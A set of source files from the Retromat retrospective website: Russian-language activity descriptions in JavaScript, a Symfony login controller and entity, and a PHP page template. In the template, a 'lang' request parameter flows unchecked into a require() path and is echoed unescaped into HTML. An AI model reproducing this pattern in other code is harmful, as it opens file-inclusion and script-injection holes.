source: "<a href='http://www.ayeconference.com/appreciativeretrospective/'>Diana Larsen</a>",
durationDetail: "3 минуты",
duration: "Короткая",
stage: "All",
suitable: "итерация, релиз, проект"
};
all_activities[36] = {
phase: 2,
name: "Вспомнить будущее",
summary: "Представьте что ваша следующая итерация будет идеальной. Как это будет? Что вы будете делать?",
desc: "'Представьте себе, что вы можете путешествовать во времени. Вы отправляетесь в день окончания следующей итерации и \
видите, что это была самая лучшая и самая продуктивная итерация из всех, что когда-то были. \
Как бы вы это описали? Что вы там увидели бы?'. Дайте команде немного времени представить это и записать ключевые слова. \
Затем позвольте каждому из участников описать свою версию идеальной итерации.<br>\
Пусть участники так же ответят на вопрос 'Что мы изменили, чтобы достичь такого продуктивного и успешного уровня работы в итерации?'\
Запишите ответы на карточках, чтобы использовать их в следующей фазе ретроспективы.",
source: source_innovationGames + ", найдено на <a href='http://www.ayeconference.com/appreciativeretrospective/'>Diana Larsen</a>",
duration: "Средняя",
stage: "Storming",
suitable: "итерация, релиз, проект"
};
all_activities[37] = {
phase: 3,
name: "Голосование точками - Продолжать, Прекратить, Начать",
summary: "Мозговой штурм в формате 'продолжать, прекратить, начать' и выбор лучших предложений",
desc: "Разделите флипчарт на 3 колонки 'Продолжать', 'Прекратить' и 'Начать'. Попросите участников \
написать свои предложения в каждую из колонок - отдельное предложение на отдельном стикере. Дайте им на \
это 5 минут и попросите соблюдать тишину. Затем попросите зачитать свои предложения и повесить на флипчарт. \
Организуйте короткую дискуссию какие 20% предложений наиболее ценные. Затем попросите участников \
проголосовать точками (по 3 точки на человека). 2-3 предложения, набравшие наибольшее количество голосов, \
превращаются в план действий.",
source: source_agileRetrospectives,
durationDetail: "15-30",
duration: "Средняя",
stage: "All",
suitable: "итерация"
};
all_activities[38] = {
phase: 3,
name: "Голосование точками - хорошо работает, необходимо изменить",
summary: "Мозговой штурм в формате, что сработало хорошо и что необходимо изменить. Выбор лучших предложений.",
desc: "Повесьте 2 флипчарта с названиями 'хорошо работает' и 'необходимо изменить' соответственно. \
Попросите участников написать свои предложения для каждой из категорий - \
отдельное предложение на отдельном стикере. Дайте им на это несколько минут и попросите соблюдать тишину. \
Затем попросите зачитать свои предложения и повесить на соответствующий флипчарт. \
Организуйте короткую дискуссию какие 20% предложений наиболее ценные. Затем попросите участников проголосовать точками (по 3 точки на человека). \
2-3 предложения, набравшие наибольшее количество голосов, превращаются в план действий.",
source: source_agileRetrospectives,
durationDetail: "15-30",
duration: "Средняя",
stage: "All",
suitable: "итерация"
};
all_activities[39] = {
phase: 4,
name: "Плюс & Дельта",
summary: "Каждый участник записывает, что ему понравилось и чтобы ему хотелось изменить в ретроспективе",
desc: "Подготовьте флипчарт с двумя колонками. Назовите их соотвественно 'Плюс' и 'Дельта'. \
Попросите каждого из участников команды записать один момент ретроспективы, который особенно понравился\
и второй, который хотелось бы изменить (записать надо на двух разных карточках). Прикрепите карточки на флипчарте, \
то что понравилось в колонке 'Плюс' и соответственно, что нужно изменить, в колонке 'Дельта'. Просмотрите все карточки и \
уточните, если что-то непонятно. В случае, если некоторые пожелания противоречат друг другу, обратите особое внимание на эти карточки,\
и определите мнение большинства членов команды по каждому конкретному пожеланию.",
source: "<a href='http://agileretrospectivewiki.org/index.php?title=Weekly_Retrospective_Simple_%2B_delta'><NAME></a>",
durationDetail: "5-10",
duration: "Средняя",
stage: "Любая",
suitable: "релиз, проект"
};
all_activities[40] = {
phase: 2,
name: "<NAME> парке",
summary: "Обсуждение в группе с разным составом участников",
desc: "Расположите минимум 4 и максимум 6 стульев так, чтобы они были направлены в группу и визуально составляли 'скамейку'. \
Объясните правила: \
<ul>\
<li>Займи место на 'скамейке', если ты хочешь участвовать в обсуждении</li>\
<li>Один стул всегда должен быть свободным</li>\
<li>Если участник занял последние место на 'скамейке', кто-то другой должен освободить свое место и вернутся в общую группу</li>\
</ul>\
Начните обсуждение на 'скамейке' и высказывайте вслух идеи или моменты, что сработало хорошо или чему вы научились в предыдущей итерации. \
Дождитесь пока кто-нибудь не присоединится.\
Закончите упражнение, когда дискуссия подойдет к концу. \
<br>Лучше всего это упражнение подходит для группы из 10-25 человек.",
source: "<a href='http://www.futureworksconsulting.com/blog/2010/08/24/park-bench/'><NAME></a>",
durationDetail: "15-30",
duration: "Средняя",
stage: "All",
suitable: "релиз, проект, большие группы"
};
all_activities[41] = {
phase: 0,
name: "Открытки",
summary: "Участники выбирают открытки, которые представляют их мысли / чувства",
desc: "Принесите стопку разнообразных открыток - минимум в 4 раза больше чем участников. \
Разбросайте их по комнате и пригласите участников выбрать открытку, которая лучше всего \
отражает их взгляд на последнюю итерацию. После выбора они записывают три главных слова \
описывающих открытку, т. е. итерацию, на стикирах. По очереди, каждый вешает свои стики - объясняет свой выбор.",
source: "<a href='http://finding-marbles.com/2012/03/19/retrospective-with-postcards/'>Коринна Бальдауф</a>",
durationDetail: "15-20",
duration: "Medium",
stage: "All",
suitable: "iteration, release, project",
};
all_activities[42] = {
phase: 0,
name: "Покажи где ты стоишь. Открытие",
summary: "Участники занимают позицию, отображающею их удовлетворенность в итерации",
desc: "Создайте длинную линию на полу с помощью ленты. Отметьте один конец словом \
'отлично', а другой 'плохо'. Пригласите участников встать на шкале отображая\
их удовлетворенность в итерации. С точки зрения психологии, физически занять позицию \
сильно отличается простого высказывания. Это более 'реально'.<br> \
Линию можно использовать повторно, если закрыть ретроспективу упражнением #44.",
source: source_findingMarbles + ", inspired by <a href='http://www.softwareleid.de/2012/06/eine-retro-im-kreis.html'>Кристофер Патер</a>",
durationDetail: "2-5",
duration: "Short",
stage: "All",
suitable: "iteration, release, project"
};
all_activities[43] = {
phase: 4,
name: "Покажи где ты стоишь. Окончание",
summary: "Участники занимают позицию, отображающею их удовлетворенность в ретроспективе",
desc: "Создайте длинную линию на полу с помощью ленты. Отметьте один конец словом \
'отлично', а другой 'плохо'. Пригласите участников встать на шкале отображая\
их удовлетворенность в ретроспективе. С точки зрения психологии, физически занять позицию \
сильно отличается простого высказывания. Это более 'реально'.<br> \
Посмотрите упражнение #43 чтобы узнать как начать ретроспективу похожим упражнением.",
source: source_findingMarbles + ", inspired by <a href='http://www.softwareleid.de/2012/06/eine-retro-im-kreis.html'>Кристофер Патер</a>",
durationDetail: "2-5",
duration: "Short",
stage: "All",
suitable: "iteration, release, project"
};
all_activities[44] = {
phase: 4,
name: "<NAME>",
summary: "Узнайте, что обрадовало и что удивило участников ретроспективы",
desc: "Просто быстро по кругу опросите группу о том, что-либо удивило или обрадовало участников (или то и другое)",
source: source_unknown,
durationDetail: "5",
duration: "Short",
stage: "All",
suitable: "iteration, release, project"
};
all_activities[45] = {
phase: 0,
name: "Зачем ретроспектива?",
summary: "Спросите 'Зачем мы занимаемся ретроспективами?'",
desc: "Вернитесь к корням и начните ретроспективу с вопроса: Зачем мы это делаем?' \
Записывайте ответы видимо для всех. Возможно, вы удивитесь.",
source: "<a href='http://proessler.wordpress.com/2012/07/20/check-in-activity-agile-retrospectives/'>Пит Рёсслер</a>",
durationDetail: "5",
duration: "Short",
stage: "Forming, Performing, Stagnating",
suitable: "iteration, release, project"
};
all_activities[46] = {
phase: 1,
name: "Отчистить почтовый ящик",
summary: "Просмотрите все заметки, собранные во время итерации",
desc: "Установите 'ретроспективный почтовый ящик' в начале итерации. Всякий раз, когда что-то \
значительное случается или у кого-то есть идея для улучшения, они пишут это и кладут в ящик. \
(Альтернатвнр 'почтовый ящик' может быть хорошо видимым местом куда приклеивают записки. Это может спровоцировать \
обсуждение в ходе итерации.) <br>\
Пройдите по всем заметкам и обсудите их.<br>\
Почтовый ящик отлично подходит для длительных итераций и забывчивых команд.",
source: source_skycoach,
more: "<a href='http://skycoach.be/2010/06/17/12-retrospective-exercises/'>Изначальная статья автора</a>",
durationDetail: "15",
duration: "Medium",
stage: "All",
suitable: "release, project"
};
all_activities[47] = {
phase: 3,
name: "Займи позицию - танец по линии",
summary: "Поймите позицию каждого и достигните консенсуса",
desc: "Когда команда не может решить между двумя вариантами, создайте длинную линию \
на полу с помощью скотча. Отметь один конец, как вариант А, а другой как вариант Б. \
Члены команды встают на места по шкале в соответствии с их предпочтениями. \
Теперь команда может изменять параметры решения, пока один вариант не получит явное большинство.",
source: source_skycoach,
more: "<a href='http://skycoach.be/2010/06/17/12-retrospective-exercises/'>Изначальная статья автора</a>",
durationDetail: "5-10 per decision",
duration: "Short",
stage: "Storming, Norming",
suitable: "iteration, release, project"
};
all_activities[48] = {
phase: 3,
name: "Голосование точками - звезда",
summary: "Собрать всё то, что надо начинать, прекращать, продолжать, чего делать больше и меньше",
desc: "Нарисуйте 5 линий на флипчарте, разделив его таким образом на 5 частей. \
Назовите их 'Старт', 'Стоп', 'Продолжать', 'Больше' и 'Меньше'. \
Участники пишут свои предложения на бумажках и приклеивают из в соответствующем месте \
Совместите одинаковые предложения в одну и проведите голосование точками, \
чтобы решить какое предложение попробовать.",
source: "<a href='http://www.thekua.com/rant/2006/03/the-retrospective-starfish/'>Пат Куа</a>",
durationDetail: "15 min",
duration: "Medium",
stage: "All",
suitable: "iteration, release, project"
};
all_activities[49] = {
phase: 2,
name: "Исполнение желания",
summary: "Фея исполняет желание - как ты поймёшь, что оно сбылось?",
desc: "Дайте участникам 2 минуты, чтобы молча задуматься над следующим вопросом: \
'Фея дает тебе одно желание, которое исправит твою самую большую проблему \
на работе. Чего ты хочешь?' Дальше добавьте: 'Ты приходишь на работу на следующее \
утро. Ты понимаешь, что фея исполнила твоё желание. Откуда ты это знаешь? \
Что изменилось?' \
Если уровень доверия в группе высок, попросите всех описать \
их рабочее место послу исполнения их желания. Если нет, просто скажите участникам держать \
сценарии их исполненных желаний в голове и предложить действия, которые смогут помочь их реализовать.",
source: "<NAME> и <NAME>",
durationDetail: "15 min",
duration: "Medium",
stage: "Storming, Norming",
suitable: "iteration"
};
all_activities[50] = {
phase: 1,
name: "Lean Coffee",
summary: "Использовать формат Lean Coffee для целенаправленного обсуждения самых важных тем",
desc: "Объясните, сколько отведено для этой активности. Объясните правила lean coffee для ретроспективы: \
<ul> \
<li>Каждый пишет темы, которые он хотел бы обсудить - по одной теме на стикере</li>\
<li>Стикеры приклеивают к доске или флипчарту. Человек, написавший эту тему, описывает ее в 1 или 2 предложениях. Стикеры на одну тему группируются.</li>\
<li>Каждый голосует за темы, которые хотел бы обсудить, ставя точки на стикерах. У каждого 2 точки.</li>\
<li>Определяется порядок тем по голосам</li>\
<li>Начинают самой важной темы и тд.</li>\
<li>Ставиться таймер на 5 минут. Когда таймер подает звуковой сигнал, каждый голосует большим пальцем вверх или вниз. Большинство больших пальцев вверх: тема получает еще 5 минут. Большинство больших пальцев вниз: начать следующую тему. </li>\
</ul> \
Остановитесь, когда отведенное время закончится.",
source: "<a href='http://leancoffee.org/'>Изначальное описание</a> и <a href='http://finding-marbles.com/2013/01/12/lean-altbier-aka-lean-coffee/'>его применение</a>",
durationDetail: "20-40 min",
duration: "Flexible",
stage: "All",
suitable: "iteration"
};
all_activities[51] = {
phase: 0,
name: "Расстановка - Открытие",
summary: "Участники утверждают или отвергают заявления, перемещаясь",
desc: "Поместите круг или другой объект в середине комнаты. Пусть команда соберется вокруг него. \
Объясните, что круг является центром утверждения: если они согласны с заявлением, они должны двигаться к нему, \
если они не согласны, они должны удаляться, на столько на сколько это отображает их степень несогласия. Теперь зачитайте высказывания, например\
<ul>\
<li>я чувствую, что могу говорить открыто в этой ретроспективе</li>\
<li>я доволен последней итерацией</li>\
<li>я доволен качеством нашего кода</li>\
<li>мне кажется, наш CI процесс зрелый</li>\
</ul>\
Наблюдайте за происходящим. Затем спросите, какие расстановки были удивительными для участников.<br>\
Это также может быть заключительным мероприятием (#53).",
source: "<a href='http://www.coachingagileteams.com/'>Лисса Эдкинс</a> через <a href='https://luis-goncalves.com/agile-retrospective-set-the-stage/'><NAME></a>",
durationDetail: "10 min",
duration: "Short",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[52] = {
phase: 4,
name: "Расстановка - Закрытие",
summary: "Участники оценивают ретроспективу, перемещаясь",
desc: "Поместите круг или другой объект в середине комнаты. Пусть команда соберется вокруг него. \
Объясните, что круг является центром утверждения: если они согласны с заявлением, они должны двигаться к нему, \
если они не согласны, они должны удаляться, на столько на сколько это отображает их степень несогласия. Теперь зачитайте высказывания, например\
<ul>\
<li>Мы говорили о том, что для меня важно</li>\
<li>я говорил открыто сегодня</li>\
<li>я думаю, что потратил время на ретроспективу с пользой</li>\
<li>я уверен что мы выполним, то что решили сделать</li>\
</ul>\
Наблюдайте за происходящим. Затем спросите, какие расстановки были удивительными для участников.<br>\
Это также может быть активностью для открытие ретроспективы(#52).",
source: "<a href='http://www.coachingagileteams.com/'>Л<NAME></a> через <a href='https://luis-goncalves.com/agile-retrospective-set-the-stage/'><NAME></a>",
durationDetail: "5 min",
duration: "короткая",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[53] = {
phase: 1,
name: "<NAME> для пользовательских историй (user stories)",
summary: "Команда предлагает истории на различные награды и обсуждает победителей",
desc: "Все пользовательские истории, которые были завершены в этой итерации, \
должны быть размещены на доске, стене или флип чарте. \
Выберите 3 категории наград (каждая категория это отдельная колонка или целый флип чарт):\
<ul>\
<li>Лучшая пользовательская история</li>\
<li>Самая надоедливая или раздражающая история</li>\
<li>... 3 категория – позвольте команде предложить свой вариант ...</li>\
</ul>\
Попросите команду номинировать истории. Участники команды перемещают карточки в соответствующую категорию. <br>\
Затем определите победителя в каждой категории с помощью голосования точками. \
Спросите команду, почему по их мнению эта история победила и обсудите процесс выполнения истории - что прошло хорошо, а что нет.",
source: "<a href='http://www.touch-code-magazine.com'><NAME></a>",
durationDetail: "30-40 минут",
duration: "короткая",
stage: "Forming, Storming, Norming",
suitable: "project, release",
};
all_activities[54] = {
phase: 2,
name: "4 вопроса",
summary: "Спросите 4 ключевых вопроса",
desc: "Норм Керт, создатель книги 'Ретроспектива проекта', определил 4 ключевых вопроса:\
<ul>\
<li>Что сработало хорошо и что мы не хотим забыть?</li>\
<li>Чему мы научились?</li>\
<li>Что мы должны сделать по-другому в следующий раз?</li>\
<li>Что мы должны обсудить более подробно?</li>\
</ul>\
Что ответила команда? Проанализируйте.",
source: "<a href='https://www.alpinabook.ru/catalog/ProjectManagment/8428/‘'>Норм Керт - Ретроспектива проекта</a>",
durationDetail: "15 минут",
duration: "Medium",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[55] = {
phase: 5,
name: "Пригласите клиента",
summary: "Организуйте непосредственный контакт между командой и клиентом или стейкхолдером",
desc: "Пригласите на вашу ретроспективу клиента или стейкхолдеров из вашей компании.\
Позвольте команаде задать каждый из следующих вопросов:\
<ul>\
<li>Как клиент использует продукт?</li>\
<li>Что больше всего мешает клиенту?</li>\
<li>Какая функциональность облегчает клиенту жизнь?</li>\
<li>Позвольте клиенту продемонстрировать свой обычный рабочий процесс</li>\
<li>...</li>\
</ul>",
source: "<a href='http://skycoach.be/2010/06/17/12-retrospective-exercises/'><NAME></a>",
durationDetail: "45 минут",
duration: "Длительная",
stage: "Forming, Norming, Performing, Stagnating",
suitable: "итерация, проект"
};
all_activities[56] = {
phase: 4,
name: "Выразите эмоции с помощью цветка",
summary: "Каждый участник команды благодарит другого участника и дарит ему цветок",
desc: "Купите цветы, количество участников ретроспективы и цветов должно совпадать. Покажите цветы только в конце ретроспективы. \
Раздайте всем по цветку, чтобы каждый участник подарил свой цветок кому-то другому из команды в качестве благодарности.",
source: "<a href='http://skycoach.be/2010/06/17/12-retrospective-exercises/'><NAME>ostvogels</a>",
durationDetail: "5 минут",
duration: "Короткая",
stage: "Norming, Performing",
suitable: "итерация, проект"
};<file_sep><?php
namespace App\Controller;
use App\Security\UserAuthenticator;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\RedirectResponse;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;
use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
use Symfony\Component\Security\Http\Authentication\AuthenticationUtils;
class UserLoginController extends AbstractController
{
/**
* @param AuthenticationUtils $authenticationUtils
* @param UrlGeneratorInterface $urlGenerator
* @return Response
*/
#[Route(path: '/en/login', name: 'user_login')]
public function login(AuthenticationUtils $authenticationUtils, UrlGeneratorInterface $urlGenerator): Response
{
if ($this->getUser()) {
return new RedirectResponse($urlGenerator->generate(UserAuthenticator::AUTHENTICATION_SUCCESS_ROUTE));
}
return $this->render(
'user/login/login.html.twig',
[
'last_username' => $authenticationUtils->getLastUsername(),
'error' => $authenticationUtils->getLastAuthenticationError()
]
);
}
/**
* @return void
*/
#[Route(path: '/logout', name: 'user_logout')]
public function logout(): void
{
throw new \LogicException('Intercepted by the logout key on our firewall.');
}
}
<file_sep><?php
namespace App\Entity;
use App\Repository\ActivityRepository;
use Doctrine\ORM\Mapping as ORM;
use Knp\DoctrineBehaviors\Contract\Entity\TranslatableInterface;
use Knp\DoctrineBehaviors\Model\Translatable\TranslatableTrait;
use Symfony\Component\Validator\Constraints as Assert;
use Symfony\Component\Validator\Mapping\ClassMetadata;
/**
* @ORM\Entity(repositoryClass=ActivityRepository::class)
* @ORM\Table(name="activity",
* indexes={
* @ORM\Index(name="retromatId_index2", columns={"retromat_id"}),
* @ORM\Index(name="phase_index2", columns={"phase"})}
* )
*/
class Activity implements TranslatableInterface
{
use TranslatableTrait;
/**
* @ORM\Id
* @ORM\GeneratedValue
* @ORM\Column(type="integer")
*/
private $id;
/**
* $retromatId is the public ID as in https://retromat.org/?id=123
* this differs by -1 from the internal ID in JS code, e.g. all_activities[122]
*
* @var int
* @Assert\Type("integer")
* @Assert\NotBlank()
* @ORM\Column(name="retromat_id", type="smallint", unique=true)
*/
private $retromatId;
/**
* @var int
* @Assert\Type("integer")
* @Assert\Range(min = 0, max = 5)
* @ORM\Column(name="`phase`", type="smallint")
*/
private $phase;
/**
* @var string
* @Assert\Type("string")
* @ORM\Column(name="duration", type="string", length=255, nullable=true)
*/
private $duration;
/**
* @var string
* @Assert\Type("string")
* @ORM\Column(name="source", type="text", nullable=true)
*/
private $source;
/**
* @var string
* @Assert\Type("string")
* @ORM\Column(name="more", type="text", nullable=true)
*/
private $more;
/**
* @var string
* @Assert\Type("string")
* @ORM\Column(name="suitable", type="string", length=255, nullable=true)
*/
private $suitable;
/**
* @var string
* @Assert\Type("string")
* @ORM\Column(name="stage", type="string", length=255, nullable=true)
*/
private $stage;
/**
* @var string
* @Assert\Type("string")
* @ORM\Column(name="forum_url", type="text", nullable=true)
*/
private $forumUrl;
/**
* @return int
*/
public function getId(): int
{
return $this->id;
}
/**
* @param $retromatId
* @return $this
*/
public function setRetromatId($retromatId): self
{
$this->retromatId = $retromatId;
return $this;
}
/**
* @return int
*/
public function getRetromatId(): int
{
return (int)$this->retromatId;
}
/**
* @param $phase
* @return $this
*/
public function setPhase($phase): self
{
$this->phase = $phase;
return $this;
}
/**
* @return int
*/
public function getPhase(): int
{
return (int)$this->phase;
}
/**
* @param $duration
* @return $this
*/
public function setDuration($duration): self
{
$this->duration = $duration;
return $this;
}
/**
* @return string
*/
public function getDuration(): string
{
return (string)$this->duration;
}
/**
* @param $source
* @return $this
*/
public function setSource($source): self
{
$this->source = $source;
return $this;
}
/**
* @return string
*/
public function getSource(): string
{
return (string)$this->source;
}
/**
* @param $more
* @return $this
*/
public function setMore($more): self
{
$this->more = $more;
return $this;
}
/**
* @return string
*/
public function getMore(): string
{
return (string)$this->more;
}
/**
* @param $suitable
* @return $this
*/
public function setSuitable($suitable): self
{
$this->suitable = $suitable;
return $this;
}
/**
* Get suitable
*
* @return string
*/
public function getSuitable(): string
{
return (string)$this->suitable;
}
/**
* Set stage
*
* @param string $stage
*
* @return Activity
*/
public function setStage($stage): Activity
{
$this->stage = $stage;
return $this;
}
/**
* Get stage
*
* @return string
*/
public function getStage(): string
{
return (string)$this->stage;
}
/**
* Set forumUrl
*
* @param string $forumUrl
*
* @return Activity
*/
public function setForumUrl($forumUrl): Activity
{
$this->forumUrl = $forumUrl;
return $this;
}
/**
* Get forumUrl
*
* @return string
*/
public function getForumUrl(): string
{
return (string)$this->forumUrl;
}
/**
* @return string
*/
public function __toString(): string
{
return (string)$this->retromatId;
}
/**
* Special method to add validation constraints on a property that is defined in a trait:
* https://symfony.com/doc/current/reference/constraints/Valid.html
* This could also be done via YML or XML, but all other constraints are defined via annotations
* and I prefer to keep all constrains together in the class definition itself.
*
* @param ClassMetadata $metadata
*/
public static function loadValidatorMetadata(ClassMetadata $metadata): void
{
$metadata->addPropertyConstraint('translations', new Assert\Valid());
$metadata->addPropertyConstraint('newTranslations', new Assert\Valid());
}
/**
* @param $property
* @return mixed
*/
public function __get($property)
{
return $this->proxyCurrentLocaleTranslation('get'.$property);
}
/**
* @param $property
* @param $argument
* @return mixed
*/
public function __set($property, $argument)
{
return $this->proxyCurrentLocaleTranslation('set'.$property, [$argument]);
}
/**
* @param $method
* @param $arguments
* @return mixed
*/
public function __call($method, array $arguments = [])
{
return $this->proxyCurrentLocaleTranslation($method, $arguments);
}
}
<file_sep><?php
// run as follows: php index.php [langage] [format]
// language: [de, en, es, fr, nl], default: en
// format: [html, twig], default: html
// determine language and make it available variable
$lang = 'en';
if (isset($argv[1])) {
$lang = $argv[1];
} else if (array_key_exists('lang', $_GET)) {
$lang = $_GET['lang'];
}
function is_output_format_twig($argv)
{
return (isset($argv[2]) and 'twig' === $argv[2]);
}
function load_activities_via_ajax($argv)
{
return (isset($argv[3]) and 'ajax' === $argv[3]);
}
$isEnglish = false;
if ($lang == 'en') {
$isEnglish = true;
}
require(get_language_file_path($lang));
// PHP FUNCTIONS
function get_language_file_path($lang) {
$res = 'lang/index_' . $lang . '.php';
return $res;
}
function print_if_selected($candidate, $chosen) {
$res = '';
if ($chosen == $candidate) {
$res = 'selected';
}
return $res;
}
function get_url_to_index() {
global $lang;
return '/' . $lang . '/';
}
?>
<!DOCTYPE html>
<html lang="<?php echo $lang ?>">
<head>
<?php if (is_output_format_twig($argv)) { ?>
{% if title is not empty %}
<title>{{ title|raw }}</title>
{% else %}
<title>Retromat - <?php echo($_lang['HTML_TITLE']); ?></title>
{% endif %}
{% if description is not empty %}
<meta name="description" content="{{ description|raw }}">
{% endif %}
<?php } else { ?>
<title>Retromat - <?php echo($_lang['HTML_TITLE']); ?></title>
<?php } ?>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<link rel="stylesheet" type="text/css" href="/static/retromat.css?v=2" />
<link rel="shortcut icon" href="/static/images/favicon.ico" />
<link rel="apple-touch-icon-precomposed" href="/static/images/apple-touch-icon.png" />
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>
<script>window.jQuery || document.write('<script src="/static/jquery.min.js"><\/script>')</script>
<script src="/static/lightbox/lightbox.js"></script>
<link href="/static/lightbox/lightbox.css" rel="stylesheet" />
<!-- Detect IE9 - It has problems, probably because of history.pushState -->
<script>
var is_ie = false;
</script>
<!--[if lt IE 10 ]>
<script>
var is_ie = true;
</script>
<![endif]-->
<script type="text/javascript">
// CONFIG
var NUMBER_OF_REGULAR_PHASES = 5;
var PHASE_SOMETHING_DIFFERENT = 5;
var INVERTED_CHANCE_OF_SOMETHING_DIFFERENT = 25; // Probability to show "different" phase is 1:INVERTED_CHANCE
var PHASE_ID_TAG = 'phase';
</script>
<script src="/static/lang/phase_titles_<?php echo $lang ?>.js"></script>
<?php if (!load_activities_via_ajax($argv)) { ?>
<script src="/static/sources.js"></script>
<script src="/static/lang/activities_<?php echo $lang ?>.js"></script>
<?php } ?>
<script src="/static/lang/photos.js"></script>
<script src="/static/functions.js"></script>
<script type="text/javascript">
// Functions that need translations from PHP.
// @todo save bandwidth by moving these functions to functions.js,
// which is cached by browsers and crawlers.
//Input: String
function publish_plan(plan_id, phase) {
var plan_id = sanitize_plan_id(plan_id);
if (plan_id) {
empty_plan();
publish_activity_blocks(plan_id);
enable_phase_browsing();
if (phase != undefined) {
publish_plan_title("<?php echo($_lang['INDEX_ALL_ACTIVITIES']); ?> " + phase_titles[phase].toUpperCase());
hide_phase_stepper();
} else {
show_phase_stepper();
hide_plan_title();
}
publish_plan_id(plan_id);
}
}
function get_activity_array(index) {
var activity_array = all_activities[index];
if (activity_array == null) {
alert("<?php echo($_lang['ERROR_MISSING_ACTIVITY']); ?> " + convert_index_to_id(index));
}
return activity_array;
}
/* Param: activity index
* Returns: String (empty or link to photo(s))
*/
function get_photo_string(index) {
res = "";
if (all_photos[index] != null) {
for (var i = 0; i < all_photos[index].length; i++) {
res += "<a href='";
res += all_photos[index][i]['filename'];
res += "' rel='lightbox[activity" + index + "]' ";
res += "title='<?php echo($_lang['ACTIVITY_PHOTO_BY']); ?>";
res += all_photos[index][i]['contributor'];
res += "'>";
if (i == 0) {
if (all_photos[index].length < 2) {
res += "<?php echo($_lang['ACTIVITY_PHOTO_VIEW_PHOTO']); ?>";
} else {
res += "<?php echo($_lang['ACTIVITY_PHOTO_VIEW_PHOTOS']); ?>";
}
}
res += "</a>";
}
// res += " | "; PAUSED Until I've got more time
}
return res;
}
/************ BEGIN Footer Functions ************/
function create_link_to_all_activities(number_of_activities) {
var link_string = "<a href='?id=1";
for (i = 2; i <= number_of_activities; i++) {
link_string += "-" + i;
}
return link_string + "&all=yes'>" + number_of_activities + "</a>";
}
/************ END Footer Functions ************/
/************ BEGIN PopUps Plan Navigation (Search) ************/
function publish_activities_for_keywords(keywords) {
var keywords_array = keywords.split(' ');
var plan_id = '';
for (var i = 0; i < keywords_array.length; i++) {
var sub_ids = search_activities_for_keyword(keywords_array[i]);
if (sub_ids.length > 0) {
plan_id += sub_ids + '-';
}
}
plan_id = plan_id.substr(0, plan_id.length - 1); // Remove trailing '-'
plan_id += find_ids_in_keyword(keywords);
var text = '<?php echo($_lang["INDEX_ALL_ACTIVITIES"]) ?>';
if (plan_id != '') {
publish_plan(plan_id);
hide_phase_stepper();
hide_popup('search');
} else {
publish_plan_id(plan_id);
empty_plan();
text = '<?php echo($_lang["POPUP_SEARCH_NO_RESULTS"]) ?>';
}
publish_plan_title(text + " '" + keywords + "'"); // Call must be after "publish_plan()" or plan_title_container won't be displayed
}
/************ END PopUps Plan Navigation ************/
/************ BEGIN Newsletter Subscribe ************/
var default_value = 'Your email address';
function removeDefaultText(){
var email_field = document.getElementById("email_address");
if(email_field.value == default_value){
email_field.value = "";
}
}
function setDefaultText(){
var email_field = document.getElementById("email_address");
if(email_field.value == ''){
email_field.value = default_value;
}
}
/************ END Newsletter Subscribe ************/
</script>
<link rel="alternate" hreflang="en" href="/en/" />
<link rel="alternate" hreflang="es" href="/es/" />
<link rel="alternate" hreflang="fr" href="/fr/" />
<link rel="alternate" hreflang="de" href="/de/" />
<link rel="alternate" hreflang="nl" href="/nl/" />
<link rel="alternate" hreflang="pl" href="/pl/" />
<link rel="alternate" hreflang="ru" href="/ru/" />
<link rel="alternate" hreflang="zh" href="/zh/" />
<link rel="alternate" hreflang="ja" href="/ja/" />
<!-- Matomo -->
<script type="text/javascript">
var _paq = _paq || [];
/* tracker methods like "setCustomDimension" should be called before "trackPageView" */
_paq.push(['trackPageView']);
_paq.push(['enableLinkTracking']);
(function() {
var u="//retromat.org/piwik/";
_paq.push(['setTrackerUrl', u+'piwik.php']);
_paq.push(['setSiteId', '3']);
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; s.parentNode.insertBefore(g,s);
})();
</script>
<!-- End Matomo Code -->
</head>
<body onload="JavaScript:init()">
<div class="header">
<div class="header__leftblock">
<div class="header__logo">
<a href="<?php echo(get_url_to_index()) ?>" class="header__logo">
<img src="/static/images/retromat-logo.svg"
alt="Retromat"
title="Retromat">
</a>
</div>
<div class="header__navi">
<ul>
<li><a href="/en/books">Books</a></li>
<li><a href="/blog/">Blog</a></li>
<li><a href="/en/membership">Supporters</a></li>
<li><a href="/en/about">About</a></li>
</ul>
</div>
</div>
<div class="header__languageswitcher">
<select onchange="switchLanguage(this.value)">
<option value="de" <?php echo(print_if_selected("de", $lang)); ?> >Deutsch (143 Aktivitäten)</option>
<option value="en" <?php echo(print_if_selected("en", $lang)); ?> >English (144 activities)</option>
<option value="es" <?php echo(print_if_selected("es", $lang)); ?> >Español (140 actividades)</option>
<option value="fr" <?php echo(print_if_selected("fr", $lang)); ?> >Français (88 activités)</option>
<option value="nl" <?php echo(print_if_selected("nl", $lang)); ?> >Nederlands (101 activiteiten)</option>
<option value="pl" <?php echo(print_if_selected("pl", $lang)); ?> >Polski (30 aktywności)</option>
<option value="ru" <?php echo(print_if_selected("ru", $lang)); ?> >Русский (133 упражнений)</option>
<option value="zh" <?php echo(print_if_selected("zh", $lang)); ?> >中文 (131 活动)</option>
<option value="ja" <?php echo(print_if_selected("ja", $lang)); ?> >日本語(144アクティビティ)</option>
</select>
</div>
</div>
<div class="pitch">
<div class="content">
<div class="inner font-serif">
<?php echo($_lang['INDEX_PITCH']); ?>
</div>
</div>
</div>
<!-- Miroboard -->
<div class="promo">
<div class="content">
<div class="promo-inner">
<div class="promo-image">
<a href="/blog/retromat-miroboard-mega-template/" target="_blank">
<img src="/static/images/miroboard/Retromat-Miroboard-Mega-Template.jpg" alt="Retromat Miroboard Mega Template">
</a>
</div>
<div class="promo-text inner">
Are you running your retrospectives with <b>Miro</b>? Create prettier boards faster with the giant <b>Retromat Miroboard Mega Template</b>!
<br><br>
<a href="/blog/retromat-miroboard-mega-template/" class="button-medium" style="color:white" target="_blank" rel="noopener">
Check out the Mega Template
</a>
</div>
</div>
</div>
</div>
<div class="plan-header">
<div class="content">
